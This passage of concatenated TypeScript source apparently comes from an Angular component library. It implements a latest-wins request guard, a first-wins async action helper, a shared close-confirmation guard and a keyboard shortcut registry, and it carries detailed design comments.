Defaults to `true` for errors that did\n * not say — an extra button is a smaller failure than a dead end.\n */\nexport function isRetryable(error: SvDataError | null | undefined): boolean {\n  return error ? error.retryable !== false : false;\n}\n","import { computed, signal, type Signal } from '@angular/core';\n\n/**\n * One in-flight request, with the two things its caller needs: the signal to\n * hand the transport, and the settle that says whether to apply the answer.\n *\n * Returned by {@link SvRequestGuard.start}. Prefer it over the bare\n * {@link SvRequestGuard.begin} token — carrying the signal next to the token\n * is what stops the two drifting apart, which is the failure mode of every\n * hand-rolled version of this.\n */\nexport interface SvRequest {\n  /** Monotonic id. Newer requests have higher tokens. */\n  readonly token: number;\n  /**\n   * Aborts as soon as a newer request supersedes this one, or the guard is\n   * cancelled. Pass it to `fetch`, to `HttpClient` via `AbortSignal`-aware\n   * middleware, or check `signal.aborted` before applying anything.\n   */\n  readonly signal: AbortSignal;\n  /**\n   * Settle this request. Returns `false` when it was superseded — the caller\n   * must discard the response. Equivalent to `guard.settle(request.token)`.\n   */\n  settle(): boolean;\n}\n\n/**\n * Tracks which in-flight request is still the one the UI cares about.\n *\n * The bug this prevents: the user types \"ab\", then \"abc\". Two requests go out.\n * The \"ab\" response is slower and lands second, so the list ends up showing\n * results for a query the user has already moved past — and nothing in the code\n * looks wrong. Every component that fires a request per keystroke needs this,\n * and none of them had it.\n *\n * Discarding a superseded response is the correctness half. Aborting it is the\n * cost half: an in-flight request the user has already typed past is wasted\n * server work, and on a slow connection it is what makes a filter feel laggy.\n * {@link start} does both.\n */\nexport interface SvRequestGuard {\n  /** True while the newest request has not settled. Bind to `loading`. */\n  readonly pending: Signal<boolean>;\n  /**\n   * True while a newer request is in flight **and** an earlier one has already\n   * been applied — that is, whatever is on screen is answered but may be out of\n   * date.\n   *\n   * This is the state a picker has no vocabulary for today: `loading` is true\n   * both while the first results are being fetched (nothing on screen, show a\n   * skeleton) and while a refinement of them is being fetched (results on\n   * screen, keep them and mark them provisional). Blanking the panel on the\n   * second is the most jarring thing a search box can do; showing the old list\n   * with no indication that it is answering an older query is a quiet lie.\n   *\n   * `stale` says nothing about *why* the earlier request settled — a failed\n   * request settles too. Render the error branch first and this one after it,\n   * so a retry in flight shows the error, not stale results.\n   */\n  readonly stale: Signal<boolean>;\n  /**\n   * Start a request and take a token. Immediately supersedes any older one,\n   * and aborts its signal.\n   *\n   * Prefer {@link start} unless the transport genuinely cannot be aborted.\n   */\n  begin(): number;\n  /**\n   * Start a request and take a token **and** an `AbortSignal`. Immediately\n   * supersedes any older one, and aborts its signal.\n   */\n  start(): SvRequest;\n  /** Whether `token` is still the newest request — check before applying data. */\n  isCurrent(token: number): boolean;\n  /**\n   * Settle `token`. Returns `false` if it was superseded, in which case the\n   * caller must discard the response. Clears `pending` only for the newest.\n   */\n  settle(token: number): boolean;\n  /**\n   * Abandon everything in flight — aborts the current signal and clears\n   * `pending` without applying results.\n   *\n   * Call it on destroy, and when the panel closes: a picker that keeps fetching\n   * for a dropdown nobody can see is the same waste as a superseded request.\n   */\n  cancel(): void;\n}\n\n/** The reason every abort this guard raises carries. */\nconst SUPERSEDED = (): DOMException =>\n  new DOMException('Superseded by a newer request.', 'AbortError');\n\n/**\n * A monotonic request guard with per-request abort.\n *\n * ```ts\n * private readonly guard = createRequestGuard();\n *\n * protected async search(term: string): Promise<void> {\n *   const req = this.guard.start();\n *   try {\n *     const rows = await this.api.search(term, req.signal);\n *     if (req.settle()) this.rows.set(rows);\n *   } catch (e) {\n *     if (req.signal.aborted) return;      // superseded — say nothing\n *     if (req.settle()) this.error.set(toSvDataError(e));\n *   }\n * }\n * ```\n * ```html\n * @if (error()) { <sv-error-shell … /> }\n * @else if (guard.stale()) { <ul [attr.aria-busy]=\"true\" class=\"opacity-60\">…</ul> }\n * @else if (guard.pending()) { <sv-skeleton-shell … /> }\n * ```\n *\n * A plain factory, not a service: it holds three counters and needs no\n * injection context, so it can be called straight from a field initializer.\n */\nexport function createRequestGuard(): SvRequestGuard {\n  const latest = signal(0);\n  const settled = signal(0);\n  // Counts responses actually applied. Distinct from `settled`, which cancel()\n  // also advances — cancelling is not an answer, and must not make the next\n  // request look like a refinement of one.\n  const applied = signal(0);\n\n  let controller: AbortController | null = null;\n\n  const abortInFlight = (): void => {\n    controller?.abort(SUPERSEDED());\n    controller = null;\n  };\n\n  const take = (): number => {\n    abortInFlight();\n    const token = latest() + 1;\n    latest.set(token);\n    return token;\n  };\n\n  const settle = (token: number): boolean => {\n    if (token !== latest()) return false;\n    settled.set(token);\n    applied.update((n) => n + 1);\n    // Settled, not superseded: drop the controller without aborting it, so a\n    // late `cancel()` cannot abort a request that already answered.\n    controller = null;\n    return true;\n  };\n\n  return {\n    pending: computed(() => latest() > settled()),\n\n    // `applied` rather than `settled > 0`: after a cancel the two disagree, and\n    // it is `applied` that answers \"is there anything on screen to go stale?\".\n    stale: computed(() => latest() > settled() && applied() > 0),\n\n    begin: take,\n\n    start: (): SvRequest => {\n      const token = take();\n      const ac = new AbortController();\n      controller = ac;\n      return {\n        token,\n        signal: ac.signal,\n        settle: () => settle(token),\n      };\n    },\n\n    isCurrent: (token: number) => token === latest(),\n\n    settle,\n\n    // Burn a token so that everything already on the wire is superseded: the\n    // point of cancel() is that a response arriving after it must be discarded,\n    // and merely levelling `settled` with `latest` would still accept the\n    // newest in-flight request.\n    cancel: () => {\n      abortInFlight();\n      const void_ = latest() + 1;\n      latest.set(void_);\n      settled.set(void_);\n    },\n  };\n}\n","import { computed, signal, type DestroyRef, type Signal } from '@angular/core';\nimport { toSvDataError } from './errors';\nimport { createRequestGuard, type SvRequest, type SvRequestGuard } from './request-guard';\nimport type { SvDataError } from './types';\n\n/**\n * The async contract for an ACTION — a write the user asked for once.\n *\n * ── Why this exists next to `createRequestGuard` and not instead of it ───────\n *\n * ★★★ READS AND WRITES WANT OPPOSITE RULES, AND CONFLATING THEM IS THE BUG.\n *     A search box wants LATEST-WINS: the user typed past \"ab\", so the \"abc\"\n *     request supersedes it and the older answer is discarded. That is\n *     `createRequestGuard`, and it is right for every list, picker and\n *     palette in the kit.\n *\n *     A Delete button wants FIRST-WINS. \"Supersede the in-flight request with\n *     a newer one\" means *running the destructive thing twice* — which is\n *     exactly what a double-click on Confirm did in eight families, each of\n *     them having decided independently what `loading` meant. So a second\n *     `run()` while one is in flight is REFUSED, and the caller is told so.\n *\n * ★★ AND IT OWNS THE HALF THE GUARD DOES NOT: the error. The guard answers\n *    \"is this answer still wanted?\"; it has nothing to say about a rejection,\n *    which is why every adopter grew its own `error` signal, its own\n *    normalization (or none), and its own idea of whether a retry was even\n *    possible. `SvDataError.retryable` already encodes that — a 404 will fail\n *    identically on retry, so offering \"Try again\" for one is a lie.\n *\n * ★ `idle → pending → error → retry | cancelled` is the whole machine. It is\n *   deliberately not a discriminated union of data states: the DATA belongs to\n *   the host, and a component that owns its host's data is the coupling this\n *   contract is trying to remove. `X-10`.\n */\nexport type SvAsyncActionStatus = 'idle' | 'pending' | 'error';\n\n/**\n * What `run()` did. Returned rather than thrown, because all four are ordinary\n * outcomes a caller has to tell apart — and \"it threw\" is the one that is not.\n */\nexport type SvAsyncActionOutcome =\n  /** The work resolved. */\n  | 'done'\n  /** The work rejected; `error()` now holds it. */\n  | 'failed'\n  /** Refused: something was already in flight. The work did NOT run. */\n  | 'busy'\n  /** `cancel()` (or teardown) happened first. Nothing was written. */\n  | 'cancelled';\n\n/**\n * May the user dismiss the surface while the action is in flight?\n *\n * ★★ THE POINT IS THAT SOMEBODY ANSWERS IT. The audit found eight families\n *    with an async mode and eight answers, most of them implicit: a dialog\n *    that silently swallowed Escape, a drawer that closed and left the request\n *    running, a modal with no opinion at all. Neither answer is wrong; not\n *    having one is.\n */\nexport type SvPendingDismissal =\n  /** Dismissal is refused while pending. The safe default for a write. */\n  | 'block'\n  /** Dismissal aborts the request (via its `AbortSignal`) and closes. */\n  | 'abort';\n\nexport interface SvAsyncActionOptions {\n  /**\n   * Message used when the rejection carries nothing readable.\n   * @default 'Something went wrong.'\n   */\n  readonly fallbackMessage?: string;\n  /**\n   * Destroy hook. Pass `inject(DestroyRef)` from a field initializer and the\n   * in-flight request is aborted on teardown — otherwise a resolution after\n   * destruction writes to signals nobody is reading, and a rejection reports\n   * an error on a surface that no longer exists.\n   */\n  readonly destroyRef?: DestroyRef | null;\n  /** Share an existing guard. Defaults to one of its own. */\n  readonly guard?: SvRequestGuard;\n}\n\nexport interface SvAsyncAction {\n  /** `idle` · `pending` · `error`. Bind whichever the surface renders. */\n  readonly status: Signal<SvAsyncActionStatus>;\n  /** True while the work is in flight. Bind to `loading` / `aria-busy`. */\n  readonly pending: Signal<boolean>;\n  /** The last rejection, normalized, or `null`. */\n  readonly error: Signal<SvDataError | null>;\n  /**\n   * True when there is an error AND retrying it could plausibly succeed.\n   *\n   * ★ A failed DELETE that returned 403 is not retryable, and a \"Try again\"\n   *   button for it wastes the user's time twice.\n   */\n  readonly canRetry: Signal<boolean>;\n  /** How many times the work has been started, including retries. */\n  readonly attempts: Signal<number>;\n\n  /**\n   * Run `work` once. Refused with `'busy'` if something is already in flight.\n   *\n   * `work` receives the request: pass `req.signal` to the transport so a\n   * `cancel()` actually stops it.\n   */\n  run(work: (request: SvRequest) => unknown): Promise<SvAsyncActionOutcome>;\n  /**\n   * Run the last `work` again, clearing the error as it starts.\n   *\n   * Returns `'busy'` when nothing has been run yet — there is nothing to\n   * retry, and inventing an empty attempt would clear the error for free.\n   */\n  retry(): Promise<SvAsyncActionOutcome>;\n  /** Abort what is in flight, clear the error, and return to `idle`. */\n  cancel(): void;\n  /** Back to `idle` without aborting — for a surface that has closed cleanly. */\n  reset(): void;\n}\n\n/**\n * One async action's state, with first-wins semantics and a normalized error.\n *\n * ```ts\n * protected readonly save = createAsyncAction({ destroyRef: inject(DestroyRef) });\n *\n * protected async onConfirm(): Promise<void> {\n *   const outcome = await this.save.run((req) => this.api.delete(this.id(), req.signal));\n *   if (outcome === 'done') this.open.set(false);\n * }\n * ```\n * ```html\n * @if (save.error(); as e) { <p role=\"alert\">{{ e.message }}</p> }\n * <button [disabled]=\"save.pending()\" (click)=\"onConfirm()\">Delete</button>\n * ```\n */\nexport function createAsyncAction(options: SvAsyncActionOptions = {}): SvAsyncAction {\n  const guard = options.guard ?? createRequestGuard();\n  const error = signal<SvDataError | null>(null);\n  const attempts = signal(0);\n  let last: ((request: SvRequest) => unknown) | null = null;\n\n  const run = async (work: (request: SvRequest) => unknown): Promise<SvAsyncActionOutcome> => {\n    // ★★ FIRST-WINS. The second click on Confirm is not a newer intent, it is\n    //    the same intent arriving twice — see the header. Refusing it here is\n    //    what makes `[disabled]=\"pending()\"` a courtesy rather than the only\n    //    thing standing between the user and two DELETEs.\n    if (guard.pending()) return 'busy';\n\n    last = work;\n    error.set(null);\n    attempts.update((n) => n + 1);\n    const request = guard.start();\n\n    try {\n      await work(request);\n      // ★ `settle()` false means this run was superseded or cancelled. Writing\n      //   anything then is the stale-write bug the guard exists to prevent —\n      //   here it would clear `pending` for a request that is still running.\n      return request.settle() ? 'done' : 'cancelled';\n    } catch (cause) {\n      // ★★ AN ABORT IS NOT A FAILURE. The user cancelled; reporting \"Request\n      //    aborted\" back to them as an error is the most common way this goes\n      //    wrong, and it looks like a bug in the thing they just stopped.\n      //\n      // ★ AND `settle()` IS THE WHOLE TEST — it does not need help from\n      //   `request.signal.aborted`. I wrote both and the extra check survived\n      //   every mutation: the signal is the guard's, so the only things that\n      //   abort it are a supersede and a cancel, and both of those already\n      //   make `settle()` false. Not every transport rejects with an\n      //   `AbortError` anyway, so reading the rejection rather than the\n      //   bookkeeping would have been the weaker test of the two.\n      if (!request.settle()) return 'cancelled';\n      error.set(toSvDataError(cause, options.fallbackMessage));\n      return 'failed';\n    }\n  };\n\n  const api: SvAsyncAction = {\n    pending: guard.pending,\n    error: error.asReadonly(),\n    canRetry: computed(() => error()?.retryable === true),\n    attempts: attempts.asReadonly(),\n    // ★ The two orders are equivalent, and that is worth a line rather than a\n    //   reader's time: `run()` clears the error before it starts, so `pending`\n    //   and `error` are never both true. Swapping these branches passes every\n    //   test in the spec, which is how I know. It is written pending-first\n    //   because that is the order a surface renders them in.\n    status: computed(() => (guard.pending() ? 'pending' : error() ? 'error' : 'idle')),\n\n    run,\n\n    retry: async (): Promise<SvAsyncActionOutcome> => {\n      const work = last;\n      if (!work) return 'busy';\n      return run(work);\n    },\n\n    cancel: (): void => {\n      guard.cancel();\n      error.set(null);\n    },\n\n    reset: (): void => {\n      error.set(null);\n      attempts.set(0);\n      last = null;\n    },\n  };\n\n  options.destroyRef?.onDestroy(() => guard.cancel());\n\n  return api;\n}\n","import { computed, signal, type Signal } from '@angular/core';\n\n/**\n * One vocabulary for \"why is this surface closing?\", shared by every\n * dismissible family.\n *\n * ★★ MODAL AND DRAWER ALREADY HAD THIS, IDENTICALLY AND SEPARATELY — four\n *    string literals each, declared twice. That is the half the audit called\n *    \"the right primitive\"; the policy built on top of it is what was missing\n *    (`X-11`). Both component unions are subsets of this one, so their public\n *    types keep working unchanged.\n *\n * `route` and `history` are here for `X-13`: a surface closed by a navigation\n * did not close because the user dismissed it, and a host that logs dismissals\n * needs to be able to tell those apart.\n */\nexport type SvCloseReason =\n  | 'backdrop'\n  | 'escape'\n  | 'close-button'\n  | 'programmatic'\n  | 'route'\n  | 'history';\n\n/**\n * The reasons a component's own published close-reason union can carry —\n * `ModalCloseReason` and `DrawerCloseReason` are exactly this set.\n */\nexport type SvDismissReason = Exclude<SvCloseReason, 'route' | 'history'>;\n\n/**\n * Fold a close reason into the published component unions.\n *\n * ★★ THOSE UNIONS PREDATE `X-13` AND CANNOT GROW. A host's exhaustive\n *    `switch (reason)` over `ModalCloseReason` stops compiling the day a member\n *    is added, so a navigation or Back close used to be emitted as `'route'` /\n *    `'history'` through a cast — a value the declared type says is\n *    impossible. It is reported as `'programmatic'` instead (the surface closed\n *    on the app's behalf, not through its own controls), and the exact reason\n *    goes out on each component's `dismissedBy` output.\n */\nexport function svDismissReason(reason: SvCloseReason): SvDismissReason {\n  return reason === 'route' || reason === 'history' ? 'programmatic' : reason;\n}\n\n/**\n * What a host's own guard said about a close attempt.\n *\n * `false` refuses it. Anything else — `true`, `undefined`, no return at all —\n * is \"no objection\", so a guard that only cares about one reason can just\n * `return` for the rest.\n */\nexport type SvCloseVerdict = boolean | void;\n\nexport interface SvCloseGuardOptions {\n  /**\n   * Is there unsaved work? A getter so a component can pass its own input\n   * signal and have changes take effect immediately.\n   */\n  readonly dirty?: () => boolean;\n  /**\n   * The host's own veto, consulted before the dirty check.\n   *\n   * ★ A getter returning the function, not the function, because it is\n   *   normally an `input()` the host may not have set.\n   */\n  readonly guard?: () => ((reason: SvCloseReason) => SvCloseVerdict) | null | undefined;\n  /**\n   * Reasons that skip the dirty prompt entirely.\n   *\n   * ★★ DEFAULTS TO `['programmatic']`, AND THAT IS A DECISION, NOT AN\n   *    OVERSIGHT. The dirty prompt exists for ACCIDENTAL dismissal — a\n   *    backdrop click, a stray Escape, the back button. A programmatic close\n   *    is the host's own code saying \"close now\": a component that\n   *    second-guesses its own API call is unusable, and the host is the one\n   *    place that already knows whether the work was saved. Pass `[]` to\n   *    prompt on those too.\n   */\n  readonly alwaysAllow?: () => readonly SvCloseReason[];\n}\n\nexport interface SvCloseGuard {\n  /** True while a close attempt is waiting on the unsaved-changes prompt. */\n  readonly prompting: Signal<boolean>;\n  /** The reason that raised the prompt, or `null`. */\n  readonly pendingReason: Signal<SvCloseReason | null>;\n  /**\n   * May the surface close right now?\n   *\n   * Returns `true` to close immediately. `false` means either the host vetoed\n   * it outright or the prompt is now up — `prompting()` says which.\n   */\n  request(reason: SvCloseReason): boolean;\n  /**\n   * The user chose to discard their changes. Returns the reason the close\n   * should be reported with, or `null` if nothing was pending.\n   *\n   * ★★ THE ORIGINAL REASON, NOT `'programmatic'`. The user dismissed this with\n   *    Escape; the prompt is an interruption in the middle of that, not a new\n   *    kind of close. A surface that reports `programmatic` here tells its\n   *    host's analytics that code closed a dialog the user closed.\n   */\n  discard(): SvCloseReason | null;\n  /** The user chose to stay. Clears the prompt and closes nothing. */\n  keep(): void;\n  /** Forget any pending prompt — for a surface that closed by other means. */\n  reset(): void;\n}\n\nconst DEFAULT_ALWAYS_ALLOW: readonly SvCloseReason[] = ['programmatic'];\n\n/**\n * The shared controlled-close policy: a host veto, and one unsaved-changes\n * prompt.\n *\n * ── Why this is shared and not per-component (`X-11`) ───────────────────────\n *\n * ★★★ \"YOU HAVE UNSAVED CHANGES\" IMPLEMENTED FOUR TIMES WILL BEHAVE FOUR\n *     WAYS. The audit says so and it is right: the interesting part is not the\n *     prompt, it is the ORDER of the questions and what each answer means.\n *     Does a host veto suppress the prompt or stack with it? Does a\n *     programmatic close prompt? What reason does the eventual close report?\n *     Four components answering those independently is four contracts.\n *\n * ★★ A HOST VETO AND A DIRTY PROMPT ARE DIFFERENT REFUSALS. `guard` returning\n *    `false` is the host saying \"not now\", for its own reasons, with its own\n *    messaging — so it does NOT raise the unsaved-changes prompt. Conflating\n *    them produces the surface that tells a user their changes are unsaved\n *    when the real reason was a request in flight.\n *\n * ★ Synchronous by design. Every close path in this kit — a backdrop click, a\n *   keydown, an `@Output` — is synchronous, and an `async` verdict would mean\n *   every one of them had to become a promise for a question that is almost\n *   always answered from a signal. The prompt IS the asynchronous case, and it\n *   is modelled as state rather than as a pending promise.\n *\n * ```ts\n * private readonly closeGuard = createCloseGuard({\n *   dirty: () => this.dirty(),\n *   guard: () => this.closeGuard_(),\n * });\n *\n * close(reason: ModalCloseReason = 'programmatic'): void {\n *   if (!this.closeGuard.request(reason)) return;   // vetoed, or prompting\n *   …\n * }\n * ```\n */\nexport function createCloseGuard(options: SvCloseGuardOptions = {}): SvCloseGuard {\n  const pending = signal<SvCloseReason | null>(null);\n\n  const api: SvCloseGuard = {\n    // Derived rather than a second signal: \"is the prompt up?\" cannot then\n    // disagree with \"what raised it?\".\n    prompting: computed(() => pending() !== null),\n    pendingReason: pending.asReadonly(),\n\n    request: (reason: SvCloseReason): boolean => {\n      // ★ Already prompting: refuse, and leave the reason alone. Idempotent\n      //   for the same reason `createWaitEscalation.start()` is — the caller\n      //   is a template event that can fire repeatedly (a user clicking the\n      //   backdrop behind the prompt), and re-raising the prompt on each one\n      //   would be indistinguishable from never having raised it.\n      if (pending() !== null) return false;\n\n      const guard = options.guard?.();\n      if (guard && guard(reason) === false) return false;\n\n      const dirty = options.dirty?.() ?? false;\n      const allowed = options.alwaysAllow?.() ?? DEFAULT_ALWAYS_ALLOW;\n      if (dirty && !allowed.includes(reason)) {\n        pending.set(reason);\n        return false;\n      }\n\n      return true;\n    },\n\n    discard: (): SvCloseReason | null => {\n      const reason = pending();\n      pending.set(null);\n      return reason;\n    },\n\n    keep: (): void => { pending.set(null); },\n\n    reset: (): void => { pending.set(null); },\n  };\n\n  return api;\n}\n","import { Injectable, computed, inject, signal, DOCUMENT } from '@angular/core';\nimport { svWarnOnce } from '../dev/warn-once';\nimport {\n  svIsTextEntryTarget,\n  svMatchesShortcut,\n  svParseShortcut,\n  svShortcutId,\n  type SvShortcut,\n} from './shortcut';\n\n/**\n * Which context a shortcut belongs to — a PRECEDENCE BAND, not a lifecycle.\n *\n * ★★ THE REGISTRY CANNOT KNOW ABOUT ROUTES, and does not try to. A binding is\n *    live from `register()` to `release()`, which for a route-scoped one means\n *    \"while the page component exists\" and for an overlay-scoped one means\n *    \"while the overlay is open\" — the owner's own lifetime does the work. The\n *    scope says who WINS when two bindings want the same keystroke.\n *\n * `overlay` > `route` > `global`, because the innermost context owns the\n * keystroke. That is the same rule the overlay stack already applies to\n * Escape, and having two different answers to \"who owns this key\" in one kit\n * is how a dialog ends up unable to close.\n */\nexport type SvShortcutScope = 'global' | 'route' | 'overlay';\n\n/** What a caller registers. */\nexport interface SvShortcutBinding {\n  /** `'mod+k'`, `'mod+shift+p'`, `'?'`. See `svParseShortcut`. */\n  readonly keys: string;\n  /** Precedence band. @default 'global' */\n  readonly scope?: SvShortcutScope;\n  /** What it does, for a shortcut list or a palette row. */\n  readonly label?: string;\n  /** Run it. `preventDefault()` is called for you when this returns. */\n  readonly run: (event: KeyboardEvent) => void;\n  /** Consulted on every keystroke, so a binding can go quiet without releasing. */\n  readonly enabled?: () => boolean;\n  /**\n   * Fire even while the user is typing in a field. @default false\n   *\n   * ★ `?` and `/` are the commonest app shortcuts there are, and both are\n   *   characters people type. A bare-key binding that fires inside a comment\n   *   box swallows the character and opens a dialog over what was being\n   *   written.\n   */\n  readonly whileTyping?: boolean;\n}\n\n/** A live registration. */\nexport interface SvShortcutHandle {\n  /**\n   * False when another binding in the same scope already owns these keys.\n   *\n   * ★ A refused registration is INERT, not an exception: a palette that\n   *   cannot bind ⌘K still has to open from its button.\n   */\n  readonly active: boolean;\n  /** Stop listening. Idempotent. */\n  release(): void;\n}\n\n/** A duplicate registration, for a host that wants to show or log it. */\nexport interface SvShortcutConflict {\n  /** Canonical binding, e.g. `'mod+shift+p'`. */\n  readonly id: string;\n  readonly scope: SvShortcutScope;\n  /** The label that holds the binding. */\n  readonly heldBy: string;\n  /** The label that asked for it and was refused. */\n  readonly refused: string;\n}\n\ninterface Entry {\n  readonly seq: number;\n  readonly binding: SvShortcutBinding;\n  readonly parsed: SvShortcut;\n  readonly id: string;\n  readonly scope: SvShortcutScope;\n}\n\nconst SCOPE_RANK: Record<SvShortcutScope, number> = { global: 0, route: 1, overlay: 2 };\n\nlet _seq = 0;\n\n/**\n * SvShortcutRegistryService — one owner for every app keystroke (`X-15`).\n *\n * ── The finding ─────────────────────────────────────────────────────────────\n *\n * ★★★ **NOTHING OWNED THEM.** Command Palette bound its own global key with a\n *     hand-written matcher on `document`; Menubar and Dropdown Menu DISPLAYED\n *     shortcuts they never registered, so what was drawn and what was bound\n *     could not be checked against each other. Two components binding ⌘K both\n *     fired. A shortcut colliding with the browser, the OS, an embedding\n *     editor or a screen reader was nobody's business to notice.\n *\n * ── Why one listener ────────────────────────────────────────────────────────\n *\n * ★★ ONE `keydown` LISTENER, NOT ONE PER BINDING. Fifty bindings mean fifty\n *    handlers on `document`, fifty chances for one of them to\n *    `preventDefault()` a key another was waiting for, and no way to say which\n *    won. With one listener the arbitration is a sort, and it is visible.\n */\n@Injectable({ providedIn: 'root' })\nexport class SvShortcutRegistryService {\n  private readonly _document = inject(DOCUMENT, { optional: true });\n  private readonly _entries = signal<readonly Entry[]>([]);\n  private readonly _conflicts = signal<readonly SvShortcutConflict[]>([]);\n  private _listening = false;\n  private readonly _handler = (event: KeyboardEvent) => this._dispatch(event);\n\n  /**\n   * ★ Platform read once, from the same `navigator.platform` test the palette\n   *   used, so `mod` means the same key everywhere in the kit.\n   */\n  private readonly _isMac =\n    typeof navigator !== 'undefined' && /Mac|iPhone|iPad|iPod/.test(navigator.platform);\n\n  /** Duplicate registrations, in the order they were refused. */\n  readonly conflicts = computed(() => this._conflicts());\n\n  /** Every live binding, for a \"keyboard shortcuts\" panel to render. */\n  readonly bindings = computed<readonly { id: string; scope: SvShortcutScope; label: string }[]>(\n    () =>\n      this._entries().map((e) => ({\n        id: e.id,\n        scope: e.scope,\n        label: e.binding.label ?? '',\n      })),\n  );\n\n  register(binding: SvShortcutBinding): SvShortcutHandle {\n    const parsed = svParseShortcut(binding.keys);\n    const id = svShortcutId(binding.keys);\n    if (!parsed || !id) {\n      // ★ A binding nobody can press is a bug to report, not state to hold:\n      //   holding it would make it show up in a shortcuts panel as though it\n      //   worked.\n      svWarnOnce(\n        `shortcut-unparseable:${binding.keys}`,\n        `<sv-*> could not parse the shortcut \"${binding.keys}\". Use modifiers ` +\n          `mod, ctrl, meta, alt, shift and one key, e.g. \"mod+shift+p\".`,\n      );\n      // ★ A null-object handle, not a forgotten body: registration was\n      //   REFUSED, so there is nothing to release. Returning one anyway means a\n      //   caller can `release()` unconditionally without first asking whether\n      //   its own registration worked.\n      return { active: false, release: () => { /* nothing was held */ } };\n    }\n\n    const scope = binding.scope ?? 'global';\n    const held = this._entries().find((e) => e.id === id && e.scope === scope);\n\n    // ★★★ WITHIN A SCOPE, THE FIRST REGISTRATION KEEPS THE KEYSTROKE, and this\n    //     is the arbitration the audit asked for. \"Last wins\" reads as\n    //     tempting — the newest thing is usually the innermost — but between\n    //     two `global` bindings there IS no inner and outer, so last-wins\n    //     makes the behaviour depend on component construction order, which\n    //     changes when a lazy route loads. Deterministic and reported beats\n    //     plausible and silent.\n    //\n    // ★★ The nesting case is handled by SCOPE instead: an overlay-scoped\n    //    binding outranks a route-scoped one, which outranks a global one, so\n    //    a dialog's ⌘K takes precedence over the app's while it is open and\n    //    hands it back when it closes. That is the overlay stack's rule, and\n    //    the kit should not have two answers to \"who owns this key\".\n    if (held) {\n      const conflict: SvShortcutConflict = {\n        id,\n        scope,\n        heldBy: held.binding.label ?? '(unlabelled)',\n        refused: binding.label ?? '(unlabelled)',\n      };\n      this._conflicts.update((list) => [...list, conflict]);\n      svWarnOnce(\n        `shortcut-conflict:${scope}:${id}`,\n        `Two ${scope} shortcuts want \"${id}\": \"${conflict.heldBy}\" holds it and ` +\n          `\"${conflict.refused}\" was refused. Give one of them a different binding, ` +\n          `or a narrower scope.`,\n      );\n      // Same null-object as the unparseable case above: the conflict means\n      // this binding never entered the registry, so releasing it is a no-op.\n      return { active: false, release: () => { /* nothing was held */ } };\n    }\n\n    const entry: Entry = { seq: ++_seq, binding, parsed, id, scope };\n    this._entries.update((list) => [...list, entry]);\n    this._listen();\n\n    return {\n      active: true,\n      release: () => {\n        this._entries.update((list) => list.filter((e) => e.seq !== entry.seq));\n        this._conflicts.update((list) => list.filter((c) => !(c.id === id && c.scope === scope)));\n        if (this._entries().length === 0) this._unlisten();\n      },\n    };\n  }\n\n  /**\n   * Test seam and diagnostic: what would run for this event.\n   *\n   * Exposed because the arbitration is the whole point of this service, and a\n   * test that has to synthesise a real `keydown` to see it is a test of jsdom.\n   */\n  resolve(\n    event: Pick<KeyboardEvent, 'key' | 'ctrlKey' | 'metaKey' | 'altKey' | 'shiftKey'> & {\n      readonly target?: EventTarget | null;\n      readonly isComposing?: boolean;\n      readonly keyCode?: number;\n    },\n  ): { id: string; scope: SvShortcutScope; label: string } | null {\n    const entry = this._match(event);\n    return entry ? { id: entry.id, scope: entry.scope, label: entry.binding.label ?? '' } : null;\n  }\n\n  private _match(\n    event: Pick<KeyboardEvent, 'key' | 'ctrlKey' | 'metaKey' | 'altKey' | 'shiftKey'> & {\n      readonly target?: EventTarget | null;\n      readonly isComposing?: boolean;\n      readonly keyCode?: number;\n    },\n  ): Entry | null {\n    // ★★★ AN IME OWNS THE KEYBOARD WHILE IT IS COMPOSING. A Japanese, Chinese\n    //     or Korean user confirming a candidate with a modifier chord, or a\n    //     dead-key sequence on a European layout, produces keydowns that are\n    //     part of TEXT, not commands — and `whileTyping` bindings (the\n    //     palette's ⌘K) would otherwise fire in the middle of a word and steal\n    //     the composition. `isComposing` is the standard signal; `keyCode`\n    //     229 is what Safari and older Chromium report for the same keydowns\n    //     instead. Neither ever triggers a binding, whatever its scope.\n    if (event.isComposing === true || event.keyCode === 229) return null;\n    const typing = svIsTextEntryTarget(event.target ?? null);\n    const candidates = this._entries().filter((entry) => {\n      if (entry.binding.enabled && !entry.binding.enabled()) return false;\n      if (typing && entry.binding.whileTyping !== true) return false;\n      return svMatchesShortcut(event, entry.parsed, this._isMac);\n    });\n    if (candidates.length === 0) return null;\n    // ★ Highest scope wins; within a scope there is at most one, so the\n    //   `seq` tiebreak only ever settles cross-scope ties that cannot happen\n    //   — it is there so the sort is total rather than accidentally stable.\n    return [...candidates].sort(\n      (a, b) => SCOPE_RANK[b.scope] - SCOPE_RANK[a.scope] || b.seq - a.seq,\n    )[0];\n  }\n\n  private _dispatch(event: KeyboardEvent): void {\n    const entry = this._match(event);\n    if (!entry) return;\n    // ★ `preventDefault()` only when something actually ran. Calling it for a\n    //   keystroke nothing claimed is how a registry breaks the browser's own\n    //   shortcuts, which is one of the things it exists to prevent.\n    event.preventDefault();\n    entry.binding.run(event);\n  }\n\n  private _listen(): void {\n    // ★ SSR: no document, no keyboard. The registry still holds bindings so a\n    //   prerendered shortcuts panel renders, and starts listening when a\n    //   browser picks it up.\n    if (this._listening || !this._document) return;\n    this._document.addEventListener('keydown', this._handler);\n    this._listening = true;\n  }\n\n  private _unlisten(): void {\n    if (!this._listening || !this._document) return;\n    this._document.removeEventListener('keydown', this._handler);\n    this._listening = false;\n  }\n}\n","import { DestroyRef, computed, inject, signal, type Signal } from '@angular/core';\n\n/**\n * sheet-mode.ts — one answer to \"what does this surface do on a phone?\"\n * (`X-16`).\n *\n * ★★★ FIVE FAMILIES ASK FOR THE SAME FALLBACK. A centred dialog, an anchored\n *     popover, a dropdown menu, a context menu and a command palette all have\n *     the same problem at 375px: there is no room beside the anchor, so an\n *     anchored surface is clamped until it covers the thing it points at, and\n *     a centred one is a postage stamp in the middle of the screen with the\n *     keyboard over it. Implemented five times, it would be five slightly\n *     different breakpoints and five different bugs.\n *\n * ★★ AND THE HARD PART IS NOT THE BREAKPOINT — it is the two things everyone\n *    forgets: the safe area (a sheet's last row sits under the home indicator)\n *    and the virtual keyboard (a sheet with a field in it is covered by the\n *    keyboard the field just raised). Both are here, so an adopter gets them\n *    by adopting rather than by remembering.\n */\n\n/** Options for {@link createSheetMode}. */\nexport interface SvSheetModeOptions {\n  /**\n   * Viewport width, in px, at or below which a surface becomes a sheet.\n   * @default 640\n   *\n   * ★ 640 is Tailwind's `sm` boundary, so a host's own responsive classes and\n   *   this switch change at the same width. A surface that becomes a sheet 8px\n   *   before the layout around it reflows looks like a bug in the 